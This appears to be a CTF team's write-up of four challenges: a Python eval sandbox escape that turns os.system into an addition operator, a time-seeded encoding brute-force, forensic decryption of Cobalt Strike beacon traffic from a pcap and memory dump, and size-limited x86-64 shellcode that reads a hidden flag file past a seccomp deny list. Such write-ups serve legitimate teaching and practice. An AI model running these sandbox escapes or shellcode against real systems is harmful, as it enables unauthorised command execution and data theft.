🔥 Kalk 🔥

Author: null

Description: I heard you needed a new calculator for your math course? Why buy a new one when you can just use my Calculator-as-a-Service instead!

nc io.ept.gg 30046

We get a Python script to download:

#!/usr/bin/env python3
import dis
import os

class Math(dict):
    def __init__(self):
        self.e = 0
        self.pi = 0

def kalk(src, locals):
    if '=' in src:
        co = compile(src, "kalk", "single")
        for opc in dis.get_instructions(co):
            if opc.opname not in ['LOAD_NAME', 'LOAD_CONST', 'STORE_NAME', 'STORE_ATTR', 'RETURN_VALUE']:
                print("Bonk! >.<", opc.opname)
        eval(co, {}, locals)
        co = compile(src, "kalk", "eval")
        for opc in dis.get_instructions(co):
            if 'CALL' in opc.opname:
                print('No U! >.<')

        _ = eval(co, {}, locals | {'math': Math(), 'tease': os.system})
        locals['_'] = _
        return _

locals = {}
while True:
    r = kalk(input('> '), locals)
    if r is not None:

It looks like this is a calculator as a service. When you connect to the server you can do different math operations. This is done by executing the input you send as Python code. It uses eval to do so.

It looks like this application block certain types of operations. It does so by compiling the input that we send in, and uses the dis module to get the instructions and opnames from the compiled code. You can for example don’t run any functions or methods, because it blocks all opname that contains CALL.

In the kalk function there is an if statement that checks for = in our input. If we don’t assign a value to any variable, it will jump down to the else block and run our code there. As you can see, there are two objects included in the local variables in this eval. math contains a Math-object and tease contains the os.system method.

Since math is an object of the Math-class, we can probably try to overwrite a dunder-method (method names with double underscores which are called in specific ways). The only problem is that we cannot assign anything to the math object, since then we will be in the first if-block where this object is not available.

UnblvR on my team found a neat way to move variables from the second eval to the first eval by using _. _ is a special variable that contains the return value of the last instruction. This variable is also available in the first eval even though we did the instruction in the second eval.

Now we can assign math to another variable:

nc io.ept.gg 30046

> math 
> test = _
> test

The plan is to get the uninitialized Math class into a variable and then overwrite the __add__ method to be tease which is os.system. The __add__ method takes one argument (which is the value you want to add to the object). os.system() also takes one argument, so in theory we can then do a system command by adding the command we want to run to the object like this: math + 'ls -la'

The command ls -la should then be executed.

You can read more about dunder methods HERE!

First we need to get the Math class:

nc io.ept.gg 30046
> math.__class__
<class '__main__.Math'>
> Math = _
> Math
<class '__main__.Math'>

Great, now we can overwrite __add__ with os.system

> tease
<built-in function system>
> Math.__add__ = _

At last we can set the class of math to be our new class.

> math
> math = _
> math.__class__ = Math

Now we should be able to run system commands by doing addition.

> math + "id"
uid=1000(kalk) gid=1000(kalk) groups=1000(kalk)
> math + "ls"
> math + "cat flag.txt"

And we got the flag, great!

Flag: EPT{y0u_br0k3_my_c4lcu1at0r!}

🔥 Know your encoding 🔥

Author: zledge

Description: Help us decode some very important words! You might be awarded a flag in the end

nc io.ept.gg 30045

We are also provided with a file:

from datetime import datetime
from random import Random
from time import time

def chunks(lst, n):
    """Yield successive n-sized chunks from lst."""
    for i in range(0, len(lst), n):
        yield lst[i:i + n]

ALPHABET = 'abcdefghijklmnopqrstuvwxyz+ABCDEFGHIJKLMNOPQRSTUVWXYZ/0123456789'
def special_encoding(word, count):
    b = Random()
    b.seed(int(time() * 1000))
    if count:
        a = ''.join(b.sample(ALPHABET,len(ALPHABET)))
        a = ALPHABET
    encoded = ''
    for x in chunks("".join([bin(int(byte)).lstrip('0b').zfill(8) for byte in word.encode("ascii")]), 24):
        y = list(chunks(x, 6))
        for value in y:
            encoded += a[int(value.ljust(6, "0"), 2)]
    print(f"{datetime.fromtimestamp(int(time()))} - Decode the following: {encoded}", flush=True)

Upon connecting we’re greeted with this:

Someone created an encoding scheme, and now we have trouble decoding the output. Can you help us out? You have 5 seconds per word. All words are lowercase ascii before encoding.
Are you ready?

After answering we’re greeted with a challenge:

2021-10-31 18:20:50 - Decode the following: BgKMAwvTChm

So let’s analyze the code:

  1. chunks is explained with a docstring, so we can move on to special_encoding immediately
  2. First it gets the current amount of seconds since 1. January 1970 also known as unix-time. ( time() )
  3. This is then multiplied with 1000 to get millisecond precision. (time()*1000)
  4. Lastly it’s fed into a random generator as a seed.
  5. based on a variable count it then either generated a random shuffled alphabet or uses the standard one
  6. Then in the following 4 lines it base64 encodes the word (more detailed explanation inside)
    1. Firstly it generates a long bitstring and divides it up into 24 bits at a time
    2. Then it’s divided furthermore into chunks of 6 bits
    3. based on the value of these 6 bits it picks the corresponding character from the “alphabet-lookup string” a
  7. After looping over the whole bitstring the encoded result is provided prefixed with the server’s current time.

Before I show the solution script there’s a few gotchas with this challenge that I’d like to mention first.

count variable

As mentioned in the analysis special_encoding chooses which alphabet to use based on a count variable, however we don’t know the value of this variable and so we can’t be completely sure of which alphabet is used. We can make a educated guess and think that count is like a round counter starting at zero, meaning only the first round will be base64


Timezones are always a pain to deal with, and this challenge is no exception, because if you just parse the time from the server you’ll get the wrong result. What you need to do, or what I had to do was add 3600 seconds to the time parsed.

time() invoked twice

So a small detail that’s worth noticing is that the time() used to seed the random generator isn’t quite the same as the time presented to us. As time is invoked two times instead of being saved to a variable, this didn’t pose any problems for me. But could become a problem if the system is already stressed.

So without further adieu, the solve script:

from datetime import datetime
from pwn import remote, log
from random import Random
from Crypto.Util.number import long_to_bytes
from string import ascii_lowercase

ALPHABET = 'abcdefghijklmnopqrstuvwxyz+ABCDEFGHIJKLMNOPQRSTUVWXYZ/0123456789'

def decode(s, mapping):
    bs = "".join([bin(mapping.index(c)).lstrip("0b").zfill(6) for c in s])
    bs = bs[:(len(bs) // 8) * 8]
    return long_to_bytes(int(bs, 2))

def solve(base_time, chall):
    for drift in range(1000):
        tm = base_time * 1000 + drift

        b = Random()

        for mapping in [''.join(b.sample(ALPHABET, len(ALPHABET))), ALPHABET]:
            bts = decode(chall, mapping)
            if all([chr(char) in ascii_lowercase for char in bts]):
                return bts
        log.error("Couldn't find solution")

r = remote("io.ept.gg", 30045)
for i in range(100):
    chal = r.recvline().decode()

    dt = datetime.fromisoformat(chal.split(" - ")[0]).strftime("%s")

    server_time = int(dt) + 3600  # adjust to the same timezone as the server

    ans = solve(server_time, chal.split(": ")[1].strip())
    assert r.recvline() == b"Correct!\n"


Further explanation

brute force

So since we know the time the random alphabet was generated we can just reproduce it locally. After we have the time (that’s corrected for the timezone) we have to do some brute force, because the time value we’re provided with is only in second resolution and the random seed function required millisecond resolution. Using this base value we should brute force around that base I chose a span of 0-1000ms after the base time.


Now inside the loop we can feed these time values into the Random.seed() function. Then we can generate our random alphabet and try to decode the challenge sent by the server with both the random alphabet and the standard one. The decoding works by taking each char in the encoded string and finding it’s corresponding position in the alphabet, then we convert that value to binary, stripping the 0b and ensuring it’s 6 chars long. After that we strip the bitstring into the nearest length that’s divisible by 8. Then we parse it as a binary number and convert it from a int to bytes, and we’re done.


So now we have a possible correct result, but since we’re brute forcing this could be a garbage value as well. So we have to check that all the characters are printable and ASCII-lowercase, then we can be pretty certain that we’ve found the correct answer. But we won’t know for sure before the server responds with Correct!. Again if we bruteforced with a wider range for the drift we might begin to get false positives.

Flag: EPT{kn0w-y0ur-en0ding!}


🔥 Eastbound & Pwned 🔥

Author: LOLASL

Description: KennyP thinks that Anti-Virus is for wussies and that his enemies can’t touch him, but we are now observing hits on a signature that could indicate the presence of Cobalt Strike on his computer.

We have retrieved the network traffic in question and a memory dump of the machine (Windows 10 x64 Build 19043.1237), can you figure out what the attacker has been up to?


We are provided with an archive (EastboundAndPwned.zip), which contains a network capture (LA-FLAMA-BLANCA-20211025-071559.pcap) and a memory dump (LA-FLAMA-BLANCA-20211025-071559.raw).

Cobalt Strike

The challenge description mentions Cobalt Strike, which is:

[Cobalt Strike] is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.


In short: it is a tool that is used to be able to remotely control a system. Malicious actors have used it for years to deploy “Listeners” on victim machines. To solve this challenge we need to get a better understanding of how Cobalt Strike communicates, and how it can be configured.

C2 Communication

The art and science of detecting Cobalt Strike by Nick Navis (@nickmavis) from Cisco Talos, describes the C2 communication as such:

  • Infection: The client is infected with either a staged, or a stageless payload. For a stageless payload, it will decode itself, and then load itself into memory. The configuration for the beacon is XOR encrypted but by default, use a static XOR key for each respective beacon version (3 or 4).
  • Heartbeat: The infected host sends a heartbeat to the Cobalt Strike C2 server with basic metadata and queues up any commands (read Tasks) that were added.
  • Tasks: Cobalt Strike uses AES-256 in CBC mode with HMAC-SHA-256 to encrypt task commands (i.e. commands sent remotely by the attacker). The AES key can be found in the encrypted metadata that is sent during a heartbeat, but it also lives shortly in memory of the infected process.
  • Callbacks: After a task is executed, the host calls back to the C2 server with a encrypted payload containing the results of the task.

A more detailed explanation can be found on page 10 and 11 in the paper by Nick Navis.

A diagram of the Cobalt Strike C2 communication flow

A diagram of the Cobalt Strike C2 communication flow. Source: NVISO Labs

Beacon Configuration

Didier Stevens has made a tool, 1768 K, which decodes and dumps the configuration of Cobalt Strike beacons. He later updated this tool (3 weeks ago at the time of writing this) with newer statistics.

Decrypting Cobalt Strike Traffic

Didier Stevens made yet another blog post, “Quickpost: Decrypting Cobalt Strike Traffic”. He made a tool (cs-extract-key.py) that looks in the dumped process memory for the unencrypted metadata that the beacon sends to the C2. Furthermore, he also made a tool (cs-parse-http-traffic.py) that can use the extracted keys to decrypt and parse the encrypted HTTP C2 communication in a PCAP file.


Our goal is “simple”, we need to decrypt the traffic between the infected host and the C2 server. From our research above we know that we have to:

  1. Extract and decrypt the Cobalt Strike Beacon configuration
  2. Dump the memory of the process that was infected with the payload
  3. Extract the AES and HMAC keys from the process memory
  4. Use these keys to decrypt the C2 (HTTP) communication

Extracting And Decoding Beacon Configuration

Opening the PCAP in Wireshark, we can easily filter on http and find the Cobalt Strike stager shellcode request and thus the beacon in tcp.stream eq 9. We export this payload to a file (ept_beacon).

GET /stE1 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; LBBROWSER)
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Mon, 25 Oct 2021 07:12:52 GMT
Content-Type: application/octet-stream
Content-Length: 261191
--- snip ---

We use the updated 1768 tool to extract the configuration for the C2 beacon, note the process injection configuration.

$ python 1768.py -r ept_beacon
File: ept_beacon
xorkey(chain): 0xa6b02dff
length: 0x03fc0089
Config found: xorkey b'.' 0x00000000 0x000057cf
0x0001 payload type                     0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port                             0x0001 0x0002 80
0x0003 sleeptime                        0x0002 0x0004 60000
0x0004 maxgetsize                       0x0002 0x0004 1048576
0x0005 jitter                           0x0001 0x0002 0
0x0006 maxdns                           0x0001 0x0002 255
0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100baaa6b1100ef88c737a50e0f9f86279487a3a838e7e1da5fb1fb1fbcc8b2361207756fa5cfd1fd2c86dc86e32ac73055e7c6da46d13beaa3bc171892fb62e4c90206aaa9c28cb4f9aefc752c9fbc3ae723ed070b0f1dd516b9f75cd4d58a6e61784040d4147ba9fe2c84b9df49e67311dc7999c83772fccab8b7eb78af293135020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri                   0x0003 0x0100 ',/load'
0x0009 useragent                        0x0003 0x0080 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'
0x000a post-uri                         0x0003 0x0040 '/submit.php'
0x000b Malleable_C2_Instructions        0x0003 0x0100 '\x00\x00\x00\x04'
0x000c http_get_header                  0x0003 0x0100
0x000d http_post_header                 0x0003 0x0100
  &Content-Type: application/octet-stream
0x000e SpawnTo                          0x0003 0x0010 '\x92~\x14ò»D\x08\x89e\x89\x92\x1f`ô&n'
0x001d spawnto_x86                      0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64                      0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x000f pipename                         0x0003 0x0080 (NULL ...)
0x001f CryptoScheme                     0x0001 0x0002 0
0x0013 DNS_Idle                         0x0002 0x0004 0
0x0014 DNS_Sleep                        0x0002 0x0004 0
0x001a get-verb                         0x0003 0x0010 'GET'
0x001b post-verb                        0x0003 0x0010 'POST'
0x001c HttpPostChunk                    0x0002 0x0004 0
0x0025 license-id                       0x0002 0x0004 885300606
0x0026 bStageCleanup                    0x0001 0x0002 0
0x0027 bCFGCaution                      0x0001 0x0002 0
0x0036 HostHeader                       0x0003 0x0080 (NULL ...)
0x0032 UsesCookies                      0x0001 0x0002 1
0x0023 proxy_type                       0x0001 0x0002 2 IE settings
0x003a                                  0x0003 0x0080 '\x00\x04'
0x0039                                  0x0003 0x0080 '\x00\x04'
0x0037                                  0x0001 0x0002 0
0x0028 killdate                         0x0002 0x0004 0
0x0029 textSectionEnd                   0x0002 0x0004 0
0x002b process-inject-start-rwx         0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx           0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc         0x0002 0x0004 0
0x002e process-inject-transform-x86     0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64     0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub              0x0003 0x0010 'ÒSÓn\x83w1\x98üEhî\x90I?,'
0x0033 process-inject-execute           0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
Guessing Cobalt Strike version: 4.2 (max 0x003a)

With this we also find 3 HTTP requests that were during the communication (TCP stream 117, 121, and 131).

Wireshark filter: ip.addr == and http.request.uri matches "/submit.php*".

& ls ./streams
117.hex  121.hex  131.hex
$ cat 117.hex

We also find the encrypted metadata blob in a cookie sent in a /load request:

Cookie: dhJBx9uy37Z1YC4YF/ePAKIiFj9mkS7hsd0hwK3DO0vPAkwB/cziZXYPaVJiPFuJlzpLZZKM0Dbi9XwF3bHR76vyPhVKBaRN975ISSNxIjLGNvl6598X2Nop/noEA2ZIo+KWqXC6uRwIPh4EWdI4wlitNy63ye8clGZwbAZAhMY=

Dump Memory Of The Infected Process

We need to find the process where the beacon was injected, we know that it uses rundll32.exe to inject into a process (spawnto from the beacon configuration), we also note the process injection flag (PAGE_EXECUTE_READWRITE) .

To analyze the memory dump, we use the Volatility memory forensics framework. We also know from the challenge description that the provided memory dump was taken from a machine running Windows 10 x64 Build 19043.1237, the closest matching profile for this in Volatility is Win10x64_19041.

Looking at Volatility’s Command Reference for Malware we find the malfind command, which helps find hidden or injected code/DLLs in user mode memory, based on characteristics such as VAD tag and page permissions.

$ vol -f LA-FLAMA-BLANCA-20211025-071559.raw --profile Win10x64_19041 malfind

We find 2 interesting processes: smartscreen.ex Pid: 5576 and svchost.exe Pid: 3452.

Process: svchost.exe Pid: 3452 Address: 0x720000
Flags: PrivateMemory: 1, Protection: 6

0x0000000000720000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x0000000000720010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x0000000000720020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x0000000000720030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x0000000000720000 0000             ADD [EAX], AL
0x0000000000720002 0000             ADD [EAX], AL
0x0000000000720004 0000             ADD [EAX], AL
0x0000000000720006 0000             ADD [EAX], AL
0x0000000000720008 0000             ADD [EAX], AL
0x000000000072000a 0000             ADD [EAX], AL
0x000000000072000c 0000             ADD [EAX], AL
0x000000000072000e 0000             ADD [EAX], AL
0x0000000000720010 0000             ADD [EAX], AL
0x0000000000720012 0000             ADD [EAX], AL
0x0000000000720014 0000             ADD [EAX], AL
0x0000000000720016 0000             ADD [EAX], AL
0x0000000000720018 0000             ADD [EAX], AL
0x000000000072001a 0000             ADD [EAX], AL
0x000000000072001c 0000             ADD [EAX], AL
0x000000000072001e 0000             ADD [EAX], AL
0x0000000000720020 0000             ADD [EAX], AL
0x0000000000720022 0000             ADD [EAX], AL
0x0000000000720024 0000             ADD [EAX], AL
0x0000000000720026 0000             ADD [EAX], AL
0x0000000000720028 0000             ADD [EAX], AL
0x000000000072002a 0000             ADD [EAX], AL
0x000000000072002c 0000             ADD [EAX], AL
0x000000000072002e 0000             ADD [EAX], AL
0x0000000000720030 0000             ADD [EAX], AL
0x0000000000720032 0000             ADD [EAX], AL
0x0000000000720034 0000             ADD [EAX], AL
0x0000000000720036 0000             ADD [EAX], AL
0x0000000000720038 0000             ADD [EAX], AL
0x000000000072003a 0000             ADD [EAX], ALZ
0x000000000072003e 0000             ADD [EAX], AL
Process: smartscreen.ex Pid: 5576 Address: 0x2491b920000
Flags: PrivateMemory: 1, Protection: 6

0x000002491b920000  48 89 54 24 10 48 89 4c 24 08 4c 89 44 24 18 4c   H.T$.H.L$.L.D$.L
0x000002491b920010  89 4c 24 20 48 8b 41 28 48 8b 48 08 48 8b 51 50   .L$.H.A(H.H.H.QP
0x000002491b920020  48 83 e2 f8 48 8b ca 48 b8 60 00 92 1b 49 02 00   H...H..H.`...I..
0x000002491b920030  00 48 2b c8 48 81 f9 70 0f 00 00 76 09 48 c7 c1   .H+.H..p...v.H..
--- snip ---

We note that both of them have the PAGE_EXECUTE_READWRITE set, which is what we saw in the beacon configuration, so we quickly dump the memory of these processes:

$ vol -f LA-FLAMA-BLANCA-20211025-071559.raw --profile Win10x64_19041 memdump -D ./memdumps -p 3452
$ vol -f LA-FLAMA-BLANCA-20211025-071559.raw --profile Win10x64_19041 memdump -D ./memdumps -p 5576
$ ls ./memdumps
3452.dmp  5576.dmp

Extract Keys

By using cs-extract-key.py we can easily parse these memory dumps and extract the AES keys within them (if they exist).

The script will not be able to find any keys if you run it as-is, Didier notes this in his post:

This method does not always work: the metadata is overwritten after some time, so the process dump needs to be taken quickly after the beacon is started. And there are also cases were this metadata can not be found (I suspect this is version bound).

The tools includes an options to perform a dictionary attack if you provide it a callback payload. The tool then extracts all possible AES and HMAC keys from the process dump and tries to authenticate and decrypt the callback. The callback payload can be found in TCP stream 117 from the PCAP.

I somehow messed up this step, but my teammate, @UnblvR, managed to extract the key successfully from the svchost.exe process and decrypt the traffic:

$ python cs-extract-key.py -c 000000403c328a67f95f9f2f4d2ed72853369bc476eff4234d932a569a3d22d852dc453e7c22d12f6bc461f2adca8c448a85c5b26204522c2fe327af7d608acc27e4333f ./memdumps/3452.dmp
File: ./memdumps/3452.dmp
AES key position: 0x0002a440
AES Key:  f55fdb402eb483720fe7ca64f1a8a4cf
HMAC key position: 0x0002a450
HMAC Key: ad5584fe824cad1d6b839860c88df785

Side note: My attempts resulted in an empty output, most likely due to the callback being messed up.

Decrypt C2 Communication

The final step is to use these extracted keys to decrypt the C2 communication. This is easily done by using the tool (cs-parse-http-traffic.py) we found earlier. With the Wireshark filter we created earlier we can be sure to only attempt to decrypt the encrypted payloads. After letting the script run for a bit, we finally see the flag in the last decrypted payload (Packet number: 156656).

$ python cs-parse-http-traffic.py -k ad5584fe824cad1d6b839860c88df785:f55fdb402eb483720fe7ca64f1a8a4cf -Y 'ip.addr == and http.request.uri matches "/submit.php*"' LA-FLAMA-BLANCA-20211025-071559.pcap
Packet number: 143669
HTTP request
Counter: 2
Callback: 30 UNKNOWN

Extra packet data: b''

Packet number: 156050
HTTP request
Counter: 3
Callback: 30 UNKNOWN
User name                    KennyP
Full Name
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            9/29/2021 2:15:34 AM
Password expires             Never
Password changeable          9/29/2021 2:15:34 AM
Password required            No
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:12:52 AM

Logon hours allowed          All

Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
The command completed successfully.

Extra packet data: b''

Packet number: 156656
HTTP request
Counter: 4
Callback: 0 UNKNOWN
flag                     EPT{d3crypt1ng_c0b4lt_str1k3_tnx_2_d1d13r}

Extra packet data: b''

Flag: EPT{d3crypt1ng_c0b4lt_str1k3_tnx_2_d1d13r}


🔥 Shellcoding 0x05 🔥

This one is a bit different from the others. The flag is in one of 200 files that are randomly created in /opt/flag/. You need to find and print the flag. The files are recreated every minute using the script generateFiles.py which is attached.

I've also disabled execv and fork syscalls using seccomp. GL HF! :)

As the description says, in this challenge the flag is hidden inside 1 out of 200 randomly named files. Moreover, the shellcode is limited to 70 bytes, and the entire directory of random files is regenerated every minute. Syscalls are also severely restricted, to not let us do anything fancy like 2-stage payloads or creating more space.

void disableSyscalls() {
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(mprotect), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(mmap), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(brk), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(munmap), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(mremap), 0);



The file randomization is done through a Python script, which is using the insecure random module to figure out the names. Exploiting this is a harder problem than just solving the challenge, as we need the outputs in order to predict outputs, so this makes no sense to attack.

Our general plan is to do something like

lseek(fd) to skip "." and "..""

The string /opt/flag already exists inside the binary through the string "The flag somewhere in /opt/flag", so that is easy enough.

/* open("/opt/flag") */
pop rdi
add di, 2779
mov al, 2

seekdir() just calls lseek() anyways, so let’s just go straight to the source and skip a certain number of entries. We dynamically change this OFFSET to a number (explained later), to skip past the uninteresting directory entries in the start. Note that since stdin is closed, the open() syscall is given fd=0.

/* lseek(0, OFFSET, 0) */
xor eax, eax
mov al, 8
xor edi, edi
xor esi, esi
mov esi, OFFSET
xor edx, edx

Next up is getdents() to fetch the directory entry from OFFSET into $RSP (valid pointer to the stack), pretending we have 100 bytes to write there.

/* getdents(0, rsp, 100) */
xor eax, eax
mov al, 78
xor edi, edi
mov rsi, rsp
xor edx, edx
mov dl, 100

Now we need to extract the file contents. The structure we just wrote into $RSP looks like this

struct linux_dirent {
   unsigned long  d_ino;     /* Inode number */
   unsigned long  d_off;     /* Offset to next linux_dirent */
   unsigned short d_reclen;  /* Length of this linux_dirent */
   char           d_name[];  /* Filename (null-terminated) */
                     /* length is actually (d_reclen - 2 -
                        offsetof(struct linux_dirent, d_name)) */
   char           pad;       // Zero padding byte
   char           d_type;    // File type (only since Linux
                             // 2.6.4); offset is (d_reclen - 1)

and we’re only interested in d_name, so we have to skip past the other fields (8+8+2=18 bytes). Let’s do openat() and access the potential flag file as a descriptor, so it can be sent with sendfile() later.

/* openat(linux_dirent->d_name, 0, 0) */
mov ax, 257
lea rsi, [rsp+18]
xor edx, edx

The final piece of the exfiltration puzzle, is to actually transfer the contents. sendfile() can do this.

/* sendfile(1, fd_from_openat, 0, 200) */
mov esi, eax
xor eax, eax
mov al, 40
xor edi, edi
inc edi
mov r10b, 200

And that’s where we ran out of bytes. We now have the contents of one file, but it will take a long time before the first file will contain the flag file, and since this is a 🔥-challenge, time is of the essence. Cue the reason why we made OFFSET a variable. It is possible to combine this script with another one that tells us the offset to the next file.

The new code does everything the same way as the previous blocks, except it replaces openat()+sendfile() with this:

/* write(1, linux_dirent->d_off, 8) */
xor eax, eax
inc eax
xor edi, edi
inc edi
lea rsi, [rsp+8]
xor edx, edx
mov dl, 8

Which sends us the offset to the next file structure. We can then feed this offset back into the other script to fetch the contents of the next file, then repeat this over and over. It manages to read quite a lot of files before the 1-minute reset happens, so after just a few minutes we get lucky enough to get the flag.

import subprocess
import sys

curr = eval(sys.argv[1]) if len(sys.argv) > 1 else 0

while True:
    soln = subprocess.check_output(['python3', 'get_filedata.py', str(curr)])
    if soln.startswith(b'EPT'):
    off = subprocess.check_output(['python3', 'print_offset.py', str(curr)])
    curr = eval(off)

After around 9 minutes, the flag is exfiltrated

Flag: EPT{y0u_ar3_th3_master_0f_sh3llc0de}